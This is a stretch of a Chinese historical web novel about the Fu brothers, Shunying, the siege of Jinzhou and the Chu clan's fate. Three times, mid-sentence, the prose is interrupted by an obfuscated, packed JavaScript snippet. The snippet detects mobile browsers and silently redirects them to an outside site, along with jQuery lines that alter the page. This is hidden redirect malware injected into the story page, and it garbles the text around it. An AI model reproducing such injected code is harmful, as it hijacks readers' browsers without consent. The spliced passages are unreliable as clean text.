苻洵轻手轻脚走到他存放行李的隔间,找到舜英托元旭转送给元璟的那套茶具,换上另一套一模一样的。回到前殿走过他身边时,苦笑着摇摇头:“谁又不是个孩子?” . 苻沣坐在长秋宫前的花树下,苻洵先给苻沣施了一礼,再对侍立在侧的苻阐说:“别惊动任何人,去清泉宫把你师父搀进卧房睡。” 苻阐躬身告退,从善如流地迈着小碎步,往清泉宫跑去。 苻洵笑了笑:“再让平南侯这么灌几天黄汤,就有些被虐待的模样了,正好送回阊江。” 又问:“冯太后究竟提了什么条件来换他?” “五十船粮草”,苻沣神色平淡,不悲不喜地说,“冯太后可不傻,阿旭对她孺慕情深、又善于料理钱粮,换回去用不了几年,多的都有了。” “活人确实比死人要紧”,苻洵笑容略带嘲讽,“他眼下这样回去不成,不如再关上个把月才放。” 苻沣定定注视着他:“除夕夜冯太后刺杀的是你,阿旭哭什么哭?阿洵,你哪天能对我有句实话?” 苻洵真诚地说:“我句句属实啊?” “句句属实?儿子女儿都是假的还属实?”苻沣极力压住愠怒,恨恨道,“你可别说主张对褚氏网开一面,只是为了边垣之盟。除夕夜冯太后要刺杀的,究竟是谁?” 苻洵笑着张张嘴,正要狡辩,苻沣凉凉道:“想清楚了再答,不然我增三倍兵力把金州城屠了,届时什么崔氏褚氏,一个都别想活。” “哥哥你以前可没这么狠……”苻洵无奈赔笑,见苻沣神色坚决,咽了口唾沫、酝酿半晌委婉地说,“若有朝一日,萧氏嫂嫂不为家国节义,仅因一己私欲或权术制衡,就要派出刺客对阿洵赶尽杀绝,阿蓁阿菁怕是比他哭得更伤心。” 苻沣垂眸思索片刻,了然地点点头,沉默不语。 苻洵见他神色稍霁,屈膝跪地恳求:“臣弟向陛下请一道特许,从今往后若无圣旨特召,即使端午、中秋、年节也不回京述职,所有奏报俱以邸报塘报上呈。” 苻沣静静看着他,许久才问:“这样一来,你将永镇北疆、再无前程可言,就为个捅你七刀的敌国女人,值得吗?” “臣弟若无家妻,恐早已成枯骨”,苻洵神色凝重,字字清晰有力,“臣弟前半生已得陛下疼爱教导,后半生若能与夫人相依相伴、同心相持,再无他求。” 苻沣叹了口气:“你为这事跟我犟了十几年,还弄出一大堆假儿女来糊弄我,罢了……算我犟不过你。” 默了半晌又说:“我原本还想着,你既无心王位,稷儿还小、不若将你留给他做个顾命大臣。” “陛下千秋万岁,勿要发此悲声”,苻洵悚然一惊,连连叩地请求,见苻沣仍深深注视着他、满眼不舍,忙挤出个喜兴的笑,“哥哥若想阿洵,可多发特召……” 苻沣仍直勾勾盯着他,一言不发。 苻洵收了笑意,正色道:“元氏嫂嫂临终前召臣弟入宫,臣弟是对嫂嫂发过毒誓的。又得陛下托付,臣定当不负重托,玄铁、龙骧两军,将来唯太子稷是命。” 他突然眉心一跳,错愕发问:“臣有一事不明……那天嫂嫂撑着最后一口气,要臣弟发誓将来拥立‘隽儿’为王,怕不是臣弟听错了,到底是‘隽儿’还是‘稷儿’?” “你没听错,她确确实实说的是‘隽儿’”,苻沣哀然垂眸叹息,“说起来,隽儿也是由她护着生下的,此后多年,她一直对隽儿的早夭耿耿于怀。许是人在生死之际,突发谵妄吧。” 苻洵苦笑着抬头,殿前这排合欢树,十四年前由萧玥娘亲手种下,至今已亭亭如盖。 建宁三年四月,萧玥娘自焚于长秋宫,是苻洵此生最后悔的时刻之一。 他不禁失神低喃:“若是隽儿还活着就好了……” . 苻沣望向清泉宫的远方,轻声说:“若隽儿还活着,也该如阐儿这般大小。对了,阐儿说自己无心入仕,想跟阿旭回滬南去,随他践行赈济,救更多生民于战火。” “平南侯跟我说过”,苻洵淡淡道,“阐儿已认祖归宗,眼下两国局势不好,平南侯打算动用些关系、给他改个南翊的出身再过明路。” 苻沣满眼赞许:“小小年纪就有济世救人的志向,倒十分难得,偶然听阿晴谈起、阿旭丧妻后并无续弦之意,若能护好阐儿的安稳,他们二人也算互相有靠……听说阿忆也认祖归宗了?” 苻洵道:“阿忆生父本就姓韦,刚好锦瑟也姓韦,南翊那边随母姓并不少见。” 苻沣点点头,欣慰感慨道:“你成婚这几年确实稳重许多,不再像从前跟个孩子似的……对了,阿阗和阿阙你怎么打算的?” “阿阗资质平庸、胜在踏实,洛川别苑就留给他和两位姨娘,以后军中若还有需要赡养的孤儿寡母,也可继续住进去”,苻洵思忖片刻说,“在此向哥哥求个恩典,阿洵前些年杀孽太重,洛川别苑若无府兵守卫,恐怕……” “不过百来个府兵,留着就留着吧,我还养得起”,苻沣笑了笑,“你既不对我明说阿阙的出身,想必不是太好,不如继续留给我。养了十几年舍不得,他跟思源也处得挺好,往后你回来得少,我膝下多几个孩子热闹。” 苻洵稽首大拜,告别兄长后款款沿着白石小径向外走去,走到转角处没来由心念一动,回首看了一眼孤零零坐在树下的苻沣。 他第一次发现,当年那个把他从渝安郡抱起的高大男子,因接连痛失爱妻,后脊已有些弯曲、鬓边头发花白,眼睛也不像以往明亮有神。 他蓦然鼻尖一酸,泪花模糊眼眶。 . 腊月初五,苻洵与舜英站在洛川别苑主屋,看着白袍卫和仆从收拾箱笼、归置常用之物,预备全部搬到北卢郡。 姚晟在门外通传:“两位殿下求见。” 两道高挑的身影已出现在院门口,兕儿和苻阙疾步走来,在台阶下端端正正并肩站着,兕儿漂亮、苻阙俊朗,穿着俊雅清贵的浅色锦袍,好两株生于庭阶的芝兰玉树。 兕儿:“救命大恩无以为报,得知小叔即将远行,特来辞行。” 苻阙瞄了一眼兕儿,恭声道:“阿阙虽已入继陛下,与小叔的血脉却是割不断的,出生时小叔给的长命锁,阿阙至今仍贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922831|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身佩戴。” 他扯动脖子上挂的红绳,带出一块玉制长命锁,双手呈上:温润的羊脂白玉泛着柔光,边缘镂刻的鱼戏莲叶花纹、簇拥着正中的祝福,正面是“麒麟送子”、反面是“长命富贵”。 正是十三年前,元旻在维阳城挑选、交由舜英亲手赠予苻洵的那块。 苻洵与舜英从长命锁移开目光、相视一笑,恍如隔世。 苻洵拿起带着体温的长命锁,放在掌心注视片刻,重新给苻阙戴上。舜英赶紧从多宝格选出两块品相好的玉佩,递给苻洵。 苻洵蹲身,将玉佩分别系在两个孩子腰上:“阿阙、兕儿,君子无故,玉不去身。小叔以后回来得少,陛下近些年太过劳累、积劳成疾,辛苦你们多花些心思尽孝膝下,多向景相与洹叔学习辅国之才,将来好好辅佐五弟。” 兕儿抬眸笑了:“陛下于小侄有再造之恩,尽孝乃是小侄分内之事。” 苻阙深深埋头,低声道:“谨遵叔父教诲。” 兕儿拼命对苻阙使眼色,苻阙涨红了脸,半晌才从袖中取出一个歪歪扭扭的平安结,双手奉给苻洵:“听父王说小叔经常打仗,阿阙不太会打络子,一点心意、小叔莫要嫌丑……” 苻洵会意,珍重地拾起平安结揣进怀中,摸了摸苻阙柔软的头发:“此中情义末将已领受。末将去北疆是为了保家卫国,更是为了保护两位殿下安然无虞。” 苻阙松了口气,脸上浮起一阵欣喜,忙不迭深深躬身长揖:“多谢叔父提点。” 俩孩子瞥见屋子里乱糟糟的,自己杵这儿又碍眼又碍事,纷纷施礼告退。苻洵赶紧跟上去送他们,二人规规矩矩走到大门,终于忍不住相视笑起来,步子也轻快许多。 “上次见到兕儿才两三岁,长这么高了”,舜英一边收着妆盒,一边感慨时光飞逝,“阿阙完全用不着跑你这儿拉交情求庇护,陛下那么宽厚的性子,易储也十分温和。他本就年岁小、羽翼未丰,对稷儿没什么威胁,没人会跟他过不去。……” “小孩子嘛,胆小心思重正常,听说他请命以后多照应洛川别苑,也几相得宜”,苻洵将平安结放入盒中收好,又抢过她正在收拾的物件,“那么大两个伤口都让你闲不住。” 舜英理直气壮地说:“我伤的是右边,收拾东西用的左手。” “两只手都不许用,你就好好坐这儿”,苻洵挽着她左臂、半搀半拉地将她摁在榻上坐下,“就算落下什么也没人乱丢,我再派人回来取便是。” 舜英懒懒倚在榻上,提醒他:“咱们回奉宁半路被一波刺客偷袭,你好像也受了伤。” “就那三脚猫工夫,最多偷袭一下子,还没刺中”,苻洵收拾了几样贴身物件,不耐烦琐碎,让郎琊手底下人接着收拾,自己也一屁股坐到榻上,心疼地注视她右臂,“除夕那晚,你就算装出武艺不好,也别让他们刺那地方啊。” 舜英耸耸肩:“我都中了迷药,哪能决定他们刺哪儿?” “你不是熟悉内卫那些迷烟吗?怎么还能着道?”苻洵惊得站起来,“那要是他们趁你晕过去,先给你心口来一刀怎么办。” “我事先自己吃了迷药啊,不过能多撑会儿,听见你快到赶到才晕的”,舜英理所当然地说着,容色十分平静,“我若不晕得扎实些,那俩放风的不吃素,指定能看出破绽。” “放风的……”苻洵叨叨了两遍,有些不踏实地问,“逃走的那两个,尸首都找到了,消息究竟有没有传到阊江?” “你猜?”舜英似笑非笑斜睨他,“现在不踏实了,当初下手那么狠,一刀毙命?” 苻洵瞟了一眼外面忙碌的护卫,压低声音道:“我更想把他眼珠子剜出来,他那位置、那角度,什么都看见了。” 181. 四面楚歌 三月初的金州城。 荣国军队已在城下驻扎了近一月。 太尉苻洹亲自挂帅,由戎陵大营、摩云大营、英平郡、澄洛驰道、洛京等地调集共计十万精兵、辅兵不计其数,从四面八方将金州锁成一座孤城。 不同于苻洵速战速决的闪电战,苻洹的风格十分稳健,围城之后甚至未发起进攻,只是不断从附近山坡砍伐树木、搭设营地、挖掘战壕、阻断水源、截杀突围的将士。 褚钧良登上北边城楼极目望去,白茫茫的帐篷像一朵朵云,盖在山坡上望不到边际。暮色乍起,荣军营地里炊烟袅袅,吃饱喝足的荣国士兵开始唱歌,他们大都来自凤台、英平、玉照,带着浓浓故乡口音,反增些许淳朴苍古之感。 歌声起先零零落落,逐渐越来越整齐,音调激昂雄浑、在寥廓的山谷激起一阵阵回响。 他又向东望去,夏河烟波浩渺、流向崇山峻岭间的峡谷,水面空空如也——不会再有粮草供给了,苻洹安排人在夏河水道狭窄处沉下铁锥、布设铁索横于水面,阻拦运送粮草援军的船只。 城内剩余的粮草俭省些,还能撑半个月——希望越来越渺茫、逐渐消泯的半个月。 褚钧良走下城墙,走过关门闭户的街道,途中遇到的士兵全都有气无力、无精打采,粮草还能撑半个月,盐缸却已见底。珍敛秘藏的那几缸盐,是预备在突围或大战前夕吃的。 他深吸一口气,迈开沉重的腿走上东城门上的望楼,看见拿着千里镜眺望的主帅,膝盖一弯正要行礼,崔玄仁转身一把搀住他:“没盐吃,这些虚礼就免了,省点力气。” 崔玄仁身边是个不满弱冠的小兵,正轻轻哼着一曲民谣小调。褚钧良感觉有些耳熟,听了半晌才想起,这首曲子,母亲时常在祭拜姨母的时候哼唱。 他又想到朝中一些传言:出身隐晦的母亲,在金州长大、是由崔氏一手培养的,褚氏阖族与崔氏的关系千丝万缕。 崔玄仁走到他跟前,抬了抬手,褚钧良下意识地瑟缩一下,却不敢躲。 四年前玉照关大败,崔氏嫡系子弟几乎全灭,冯太后派十多名褚氏子弟率援军接手金州。那以后,崔玄仁盯着他们这些褚氏子弟,两眼时时刻刻像要冒血。 褚钧良已略懂些权术的皮毛,知道冯太后希望褚氏来与崔氏争权。 但褚钧良不想与崔玄仁争权,前些年褚氏还在被崔氏大力扶持,形势变得太快、他还没反应过来。等到反应过来,他觉得崔氏有些可怜,子侄和孙辈基本上死绝了,崔玄仁的两个儿子还陷在阊江。眼下的崔氏,只闭着眼等那把悬在头顶的剑砍落。 其实褚氏也好不到哪儿去,甚至更糟——因为根基太浅。 他们是外戚、后族,虽然那个“后”——堂姐褚舜英已过世近七年,但堂姐的儿子成了陛下,还本能地亲近褚氏,所以他们仍是风口浪尖的外戚。 身为外戚,一生如履薄冰,却仍时不时天降无妄之灾。 母亲司南侯说,没根基的后族只有三个下场:国君活得够久、族中人才辈出,熬到嫡子顺利即位掌权,就能鱼跃龙门成为新贵;一朝天子一朝臣,被压制被清算;足够韬晦和左右逢源,小心翼翼苟且求存。 褚氏没有跃过那道坎儿,跳到一半“啪叽”摔下来,摔得粉碎。 八年前,褚钧良才十六岁,庄王任命他为平西左骠骑将军,预备调动西三营远征荣国。他与褚秋水早听说苻洵战神之名,自己年纪轻轻、战场都没上过几次,若对上苻洵,再多十条命都不够填龙骧军的马蹄。 褚秋水先是恳求庄王收回成命,请求了数次,求得庄王闭门不见。褚氏发迹不过二十多年,在朝中并无多少说得上话的故旧门生和姻亲,褚秋水只好求到桐花别苑请丞相带话,得见王后堂姐一面。 惴惴不安等了十天,终于等到庄王收回成命。 庄王过世之后的一年多,是褚氏过得最踏实的一段时间,被贬官被外放总比被架在火堆上好,他有些庆幸之前行事尽力收敛,没了利益冲突后、并无多少仇家来清算。 直到永嘉一年八月下旬,烈王元承陵死守昇阳,掩护翊东三十五城南撤。褚钧良至今仍记得,褚秋水听说烈王死守昇阳时的表情:那是一种看穿未来千难万劫,却无能为力的绝望。 褚秋水呆了许久,才苦笑着叹气:“若褚氏从未出过什么王后,就好了。” 他那时还天真地说:“若咱们顺利南撤,冯太后他们定会拥立堂姐的长子为国君,历朝历代国君都对母族很不错,咱们褚氏有救了。” “阿良,正因为新陛下可能优待褚氏,咱们才不可能平安活到他亲政那天”,褚秋水眼中流下两行泪,凄然道,“若无厚实根基,滔天恩宠便是弥天大祸啊……新陛下太小、无法亲政,可咱们在前朝做了太久纯臣。” 翊国近乎男女平权,女人参政带来了独特的后宫风气——没有真正意义上的宫斗,只有披着一层宫斗皮的政斗。 褚钧良猜,翊国历任君主妃嫔数量极少,以上原因功不可没。他甚至揣测,庄王只册封出身不高的堂姐为后、坚决不纳妃嫔,除了故剑情深,也因上两代血流成河的宫斗、看得人心力交瘁。 庄王千算万算,算漏了一项:后宫的女人不止国君后妃,还有国君的母亲和祖母。 两个月后,接踵而至的军令验证了褚秋水的先见之明:褚氏阖族留龙城断后。 褚秋水预知得准确又如何?军令如山,褚氏无任何反抗之力,带兵攻打昇阳的是战神苻洵——等于让褚氏留在翊东送死。 褚钧良犹自记得从龙城拔营那天,朔风卷着细碎雪花,他与褚秋水率领断后的一万步兵,深一脚浅一脚踩在已被毁损的官道上。遥遥望见旌旗拂动,是苻洵率领荣国步兵追来了。 母子神色十分平静,对视的瞬间,甚至浮起解脱的笑容——褚氏全族战死沙场,至少不必等到以后被清算时、背着污名含冤而逝。 然而,苻洵并未趁势追击,反而命大军在龙城就地休整,次日才出发、在二三十里外不远不近跟了一路,像是护送一般,遥遥目送他们毫发无损渡过淮水。 踏上甲板的刹那,两行泪水从褚秋水面庞滑落,她用仅二人能听见的声音、哽咽着喃喃:“传闻竟是真的?” 很久之后,阊江朝廷轰轰烈烈编纂《英烈本纪》时,他才知晓那是什么传闻。从那一刻起,他彻底明白:那个竭尽全力庇护褚氏一族的堂姐,再也回不来了。 即使她能侥幸活下来,那些修史立传的人此刻将她捧得多高,知道她活着时就会有多失望。 . 崔玄仁看着发呆的褚钧良,神色有些复杂,幽幽叹了口气:“九郎,咱们等不到援军了。” 褚钧良第一次听他如此温和,错愕片刻轻声回:“翊国的水师,不会连几根铁链子和铁锥都无法可想。” 崔玄仁冷笑:“太后提拔的大将晏驰怕是早等在夏河中游,要将玉照关大败的事重演一遍。” 褚钧良惨笑:“这都是人命啊,就算咱们只是她挥出去砍人的刀,用顺手了也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930198|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该说折就折吧。” “她已有新的刀,咱们这些割伤过主人的刀,是时候被抛弃了”,崔玄仁声音尤为平静,褚钧良又从他眼里看到熟悉的神采——当年龙城断后,褚秋水瞥见荣国大军时的神色,“有时候,我真希望太后不是出身异族,或者北疆的形势没有那么恶劣。大翊各大世家内斗,何曾有过这般凶狠不留余地?” 褚钧良会意,异族出身的太后天生会被质疑,尤其是在北宛大肆攻杀之时,冯太后一言一行如履薄冰,不敢留下任何话柄,也因此对质疑和反对十分敏感,整个人变得无比严苛,致使大小官员莫敢言、道路以目。 褚钧良长叹一声:“常听王后堂姐说起当年,冯太后蛰伏四年、不惧生死扶立庄王继位,何等大义凛然,至今听来仍令人心折。” “周公恐惧流言日,王莽谦恭未篡时。向使当初身便死,一生真伪复谁知?”崔玄仁喟然长叹,“屠龙之人终成恶龙。” 他忽然目不转睛注视着褚钧良,神情竟显出几分慈爱和悲悯:“九郎,若城破了,你当如何?” “痛痛快快战死沙场,总比这几年钝刀子割肉好受,还落得个好名声”,褚钧良毫不在意地笑笑,“国公大人,这么等着太磨人。再过几天若再等不到粮草,能否给大伙多加些盐和饭食,能突围就突围,突围不出去也做个饱死鬼?” 崔玄仁声音更温和:“我再想想,你先去粮仓清点一下还剩多少。” 褚钧良抱拳领命,正准备下城墙,崔玄仁忽然笑了:“这样也好,没冯氏的耳目盯着,我终于能痛快说句真话——褚九郎,你虽智计平平、却是我见过数一数二的忠义好汉。” “先前那些龃龉,并非出自本心,只是我若不苛待褚氏,自有人搞出祸事来、将咱们的关系挑拨得更恶劣。” 褚钧良愣了片刻,笑着点点头:“知道了,国公,我先去粮仓了。” 走下斜梯时,他没来由地心念一动,回首瞥向站在城楼的崔玄仁。新月如钩、夜沉如水,照得他的身影和笑容有几分不真实的错觉。 褚钧良迎着冰凉的夜风,走过空荡荡的石板街道,将腰牌和令符递给守兵查验后,走进仓房,就着冰冷的月光开始清点。 走到仓房最内侧,高高累叠的粮袋后忽然伸出一双手,将他拖入漆黑角落。电光火石间,那人一手紧紧捂住他即将惊呼的嘴,一手控制住他双臂,同时膝盖下压、将他整个人制住无法动弹。 “噤声,听我说,”对方压低声音在他耳畔说,“金州城的褚氏子弟即将大祸临头,我等奉命来救你们性命。” 对方身后站着个身穿黑衣的青年男子,满脸吊儿郎当、嘴里叼着一根狗尾巴草:“有人临终托付咱们主子,危急时保你们一命。那人对咱们主子有大恩,咱们不得不报。” 褚钧良嘴巴被捂住、不能发声,挑了挑眉、投去一个疑惑的眼神。 那青年男子轻轻将一物抛到他眼前:一根半旧的长鞭,通体白色泛黄、有些微磨损,握把和镖头磨得发亮。 褚钧良盯着那根略有些眼熟的长鞭,搜肠刮肚想了半晌,终于想起在哪里见过。十二年前,褚氏阖族子弟迎接褚舜英认祖归宗,从昇阳到上垣的路上,舜英的腰带上都缠着这根旧鞭,与精美的礼服十分不协调。 无论是半路投宿,还是住在上垣祖宅,他每天早上练武、都能看见舜英将这跟长鞭舞得虎虎生风。 青年男子觑着他神色变化,淡淡地说:“对,就是她。” “你的堂姐,褚舜英。” 182. 姐夫 “也不知钧良那边怎样了”,舜英坐在灯下,用丝帕一遍遍擦拭着横刀,“秦川那张碎嘴子,别把他说得以死明志了。” 苻洵已将弯刀擦拭干净,“锵”一声收回鞘中:“不至于,顶多是说得他破口大骂‘人不畏死奈何以死惧之’、“一臣不事二君”之类。” 舜英微愕:“看来你很了解这些调调。” “那是自然,我最喜欢怼这些人”,苻洵的表情十分自豪,“要么是些愚忠的木头,不管有没有道理、君要臣死臣不得不死;要么说得比唱得好听、真遇上事逃得飞快。” “……”舜英抬眸注视他片刻,总觉得他在暗示什么,于是默默埋头继续擦刀。 “还擦,再擦就能当镜子照了”,苻洵低头轻笑,拍了拍她肩膀温声安慰,“秦川也就闲的时候嘴碎些,正经起来还是靠谱。” 忽然饶有兴味地调侃:“我那堆小舅子小姨子肯定是前者,愚忠……” “什么小舅子?”陌生的词汇乍然入耳,舜英愣了片刻、双颊没来由地一热。 “钧良是你堂弟,我是他姐夫,不叫他小舅子叫什么?”苻洵十分认真地问,“翊国对妻弟是另一种称呼?” 舜英摇摇头,忽然想起元旭对苻沣也一口一个姐夫,还真没什么“国君无家事”的概念……如今这些称呼被苻洵自然而然说出来,乍一听不习惯,却有说不出的温暖熨贴。 她想了片刻,扬眉笑道:“没说错,他们就是你的小舅子,你是他们姐夫。” 心情无端明朗松快,似乎随着这称呼说出口,他们之间也更加紧密和亲近。 苻洵霎时懂了她的沉默,轻轻叩了叩横刀的刀身:“别擦了,帐篷里闷得慌,咱们一起出去走走?” 临时军营位于建兴城内、占据城西,隔中轴街道与城东的北翊军营对视。苻洵找到一座高楼,拉着舜英一跃而起坐上屋顶,吹着飒飒夜风,放眼望去明灯千帐。 “这怕是翊军和荣军挨得最近的一次”,舜英看着城东的灯火感慨,“交战的那种近,不算数。” 苻洵指向北翊营地的中帐位置:“武煊就在那儿,上个月打扫战场的时候,他还悄悄跑过来问我知不知道你在哪?” 舜英瞬间不困了,兴致盎然地问:“快说,他是不是特别后悔自己当初口无遮拦,想找我认错和好?” “你发小什么德性你还不了解?后悔是肯定的,认错是不可能的”,苻洵刮了刮她鼻尖,笑盈盈地揶揄道,“他说姜夫人找了你快一年,还说你肯定在我这。不等我分说,又特别仗义地拍胸脯自说自话保证替我保密,然后让我把你藏好。” “……这确实像他”,舜英有些懵,“我最近犯了什么天条,全都在找我?尤其是姜夫人,还找了快一年,几个意思?” 苻洵思忖片刻,认真盯着她双眸:“我猜……只是猜测,冯太后让姜夫人母子去千秋节之前,可能已经派遣使者去宛平交涉,宛平与阊江之间一来一回……” “倒推回去算,交涉时间差不多在三四月”,舜英会意,“这就说得通了,下令千秋节贺寿是谈崩之后的结果,能动口绝不动手,这才像冯太后的风格。” 苻洵幽幽提醒了一句:“武煊还说,冯太后若知道你活着,定会不遗余力追杀你……这就是你说的绝不动手?” “还有下半句——能假手于人就绝不亲自下场”,舜英默了半晌,满脸难以言喻的糟心,“还不遗余力……有完没完?我怎么觉得,咱们才是最后知道冯太后要追杀我的人?” 她烦躁地绞着衣袖,愤愤道:“我就算活着也打算隐姓埋名随,半点不掺合南翊内政,她为什么一定要将我跟褚氏赶尽杀绝?” “管他呢,反正我不认识他说的那个谁”,苻洵觑着她越来越黑的脸色,小心翼翼将她衣袖从她掌心抽出,挤出一个笑容,“姐姐现在可是我的新欢——贴身军师许红袖。” “贴身”二字特意加重了语气,他笑容可掬地凑过去:“姐姐笑一个嘛,别那么严肃,怪吓人的。” 舜英转头看向他,翘了翘唇角、皮笑肉不笑片刻,继续满脸郑重地陷入沉思,脸色一阵青一阵白,忽然眼神一冷:“大殿下!” 苻洵略加思忖,试探着问:“你是说,大殿下可能有个与你相关的东西,姜夫人知道、冯太后知道,唯独你不知道?” 舜英绞尽脑汁想了许久,点点头:“有些印象,永平六年国丧那段时间,我除了参加各种仪典、几乎都卧病在床,大殿下好几次想单独找我,每次刚张嘴冯太后就进来了。” “后来大殿下去了三军郡,那段时间姜夫人和冯太后总一起来景和宫……” 苻洵眼神一冷:“其实是姜夫人想单独找你,奈何冯太后盯得太死,每每都能遇上、只好一起进来。” “你脑子转得倒快。”舜英笑盈盈地说。 “这不叫脑子快,这叫心有灵犀”,苻洵歪过上身,摸了摸她头发、顺势挽住她胳膊,“后来呢?” 每每苻洵想逗她开心时,笑容总带着些讨好的乖巧,只瞅着那笑脸就让她心底一暖。 舜英笑了笑,淡淡地说:“后来啊,等我身子好些就去了武原城。” 苻洵脸上的笑容消失了。 再后来就是“褚王后薨逝武原城”,她与元晞直到死也未再打上照面。 “估计是一样对冯太后很致命的东西,大抵跟元……跟庄王有关”,苻洵长叹一声,凉凉地嘲讽,“他那人也真有意思,提防父亲叔伯兄弟也就罢了,连亲娘都一并提防。” 他又干笑两声:“当年听你说冯太后如何疼孩子,后来又听使臣说,冯太后如何隐忍四年、助庄王一击制胜。按道理说,庄王最不该提防的便是这个娘亲啊……莫非他早早看出冯太后的野心?” “你这脑子快倒快,就是总想歪”,舜英捏了捏他耳朵,“翊国临朝称制的太后大有人在,他可不怕冯太后专权。” 苻洵又猜测:“那就是担心她与母国北宛勾结?” 舜英噗呲笑了:“这世上最不可能跟冯栩勾结的人,就是冯太后,那可是杀子之仇!” 苻洵不以为然:“都能给杀女仇人撰写碑文,何况区区杀子之仇?” 舜英唇角笑意变冷,缓慢而坚决地摇头:“他们不一样的。” 元旻是冯太后倾尽全力、砸进去所有心血和资源,甚至不惜毁伤躯体、搭上性命去赌,才托举出的唯一至珍至宝,寄托了她所有期待,更关系着她与昇阳冯氏全族的政治前途。 至于其他几个孩子…… “当初待我们那么好,也是真心喜欢过的吧”,舜英仰起头,望着漆黑天幕上璀璨的星星点点,弯了弯唇角,“不过是更爱权力,更爱……” 闭上双眼,视野里浮现出六七岁时候,躺在床上流泪的元旻:“我要是废了,母后怎么办?” 过了会儿,是红叶翩跹的白露水榭,元旻问春羽:“母后年轻时,是怎样的人?” 最后,是梨花林深处的山居小院,那个口吐鲜血、头痛欲裂,不愿面对所有过往的他。 冯太后倾其所有托举出元旻,元旻却最早觉察到她表里不一,看见她藏在淡泊温婉后的勃勃野心。 以及她身上与野心不匹配的——致命缺陷! 所以,了解冯太后的元旻,当年曾留给过舜英什么自以为是的好东西? 舜英呆呆沉思着,笑容从讥诮变成苦涩无助,眼圈滚烫、却流不出一滴泪,就那样紧闭双目,任夜风拂过面颊和发梢、吹得全身冰冷。 忽然肩膀和后背一暖,清润的甘甜木香带着适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935407|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的温热拢住了她,苻洵悄无声息贴近,将她紧紧揽在怀中。 “我可以为姐姐做点什么?” 舜英愣怔片刻、如梦初醒回过神,霎时间,所有恐惧和软弱都冲破坚硬外壳,汹涌而出。她侧过上身,往苻洵怀里钻了钻,任由憋了许久的泪夺眶而出,哽咽着说:“阿洵,我好冷,抱抱我。” 夜风飒飒,星河万里,她被他抱紧的刹那,骤然感觉到前所未有的温暖和踏实。远处的灯一盏盏熄灭,万籁俱寂、天地间空得仿佛只剩他们二人。 什么阊江朝廷、元旻可能留给她的东西、冯太后的追杀、姜夫人的寻觅……统统与她再无干系。 “我是许红袖,是威远将军府的女军师,更是阿洵的妻子。” “我要做的事,是与阿洵一起抵御异族、驱逐北宛,然后隐居山林。” 她的声音缥缈而脆弱,刚说出口就被夜风吹得无影无踪,她却仍一遍又一遍低声重复,像是说多了就变成了事实。 苻洵抱着瑟瑟发抖的她,心中五味杂陈。他自小感受到的善恶都简单粗暴,拥有的温情少得可怜、却都纯粹真实,面对她如此纠结为难的境况,实在不知如何宽慰。 正在此时,建兴城东门的号角声鸣响,五短四长,是辎重兵押运粮草进城。 旋即,东边翊军营地燃起无数火把,汇成一条长龙向东门疾驰而去,门口无数骑兵守得死死的,城门打开一条仅容马车通行的缝隙,押送着辎重车的长龙辚辚驶入。 舜英醒过神,讶异道:“他们上哪儿筹到这么多粮草?” 冯太后从去年开始怠于支援,北翊骑兵上上下下勒紧腰带过日子,就连优先保障供应的建兴城,也时有短缺。 苻洵神色有点古怪:“拿平南侯换的。” 舜英吓了跳:“啥?” 苻洵艰难地组织了片刻语言:“冯太后换回平南侯的那五十船粮食,哥哥将其中三十船直接运到了洺州。” “你哥哥这可真是……”舜英一时也不知如何形容,默了半晌叹息道,“白担个讹诈之名,吃力不讨好。” 她唇角却不自觉上扬,低声补充:“不枉阿旭喊这么久的姐夫,真有几分像。” 遥遥看向远方热闹的火龙,她瞳孔染上暖色:若世上多几个苻沣元旭这样的笨人,世道一定比现在好太多。 . 元旭回到阊江已是三月中旬,他先回阊江鹤雪别苑。那是冯太后赐给他的宅邸,步行一刻即可抵达东华门,出入宫禁十分方便。 沐浴更衣后,他先穿上浅蓝色长袍,去后院辟出的小祠堂,给宣菀上了三炷香。 然后返身回到卧房,拉开竖柜,里面果然整整齐齐挂着八套春季新衣。 二十多年来,每年二月份,冯太后都会根据街头坊间时兴的样式,从自己的份例和嫁妆里拨出银钱,给养在膝下的几个孩子另外裁几套新衣。 他清楚地记得,四哥是十二套,五姐姐、他、每人八套,褚姐姐、承陵、承赟每人十六套——他们练武时间最多、衣服和鞋子损耗大,材质也跟他们的不同,更轻薄柔韧、更透气。 元旭注视着那排新衣,无声笑了,思忖片刻,挑出花纹最少最素净那套。春衣是比照他去年尺寸做的,穿在身上松松垮垮,散发着水泽草木的清香。 他换了条更宽的腰带,系紧之后将所有褶皱挪到背后,穿上一件褙子遮住。走到窗前,那里竖着一架等身高的琉璃镜。 